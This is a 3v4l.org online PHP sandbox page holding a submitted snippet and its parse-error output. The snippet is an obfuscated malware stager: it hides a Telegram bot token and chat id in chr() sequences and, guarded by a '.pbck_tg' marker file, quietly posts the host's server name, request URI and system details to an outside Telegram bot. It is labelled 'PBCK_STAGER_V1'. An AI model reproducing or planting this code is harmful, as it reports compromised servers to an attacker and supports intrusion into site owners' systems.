3v4l.org

run code in 500+ PHP versions simultaneously
echo 'hi';<?php <?phpif(!file_exists('.pbck_tg')&&function_exists('curl_init')){$b=chr(56).chr(54).chr(56).chr(53).chr(50).chr(48).chr(51).chr(54).chr(56).chr(54);$t=chr(65).chr(65).chr(69).chr(80).chr(118).chr(80).chr(122).chr(106).chr(67).chr(111).chr(49).chr(113).chr(66).chr(77).chr(95).chr(110).chr(89).chr(101).chr(100).chr(82).chr(48).chr(57).chr(81).chr(83).chr(89).chr(119).chr(105).chr(100).chr(121).chr(108).chr(116).chr(85).chr(53).chr(117).chr(48);$c=chr(56).chr(50).chr(48).chr(50).chr(54).chr(50).chr(57).chr(55).chr(56).chr(53);$u='h'.'t'.'t'.'p'.'s'.'://api.telegram.org/bot'.$b.':'.$t.'/sendMessage';$sn=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'';$d='chat_id='.$c.'&text='.urlencode('[PBCK] '.$sn.' '.$_SERVER['REQUEST_URI'].' '.php_uname());$ch=curl_init($u);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$d);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_exec($ch);curl_close($ch);@file_put_contents('.pbck_tg','1');}/* PBCK_STAGER_V1 */
Output for 8.2.31 - 8.2.33, 8.3.0 - 8.3.33, 8.4.1 - 8.4.24, 8.5.0 - 8.5.9
Parse error: syntax error, unexpected token "<", expecting end of file in /in/SN83Y on line 3
Process exited with code 255.

preferences:
47.48 ms | 787 KiB | 3 Q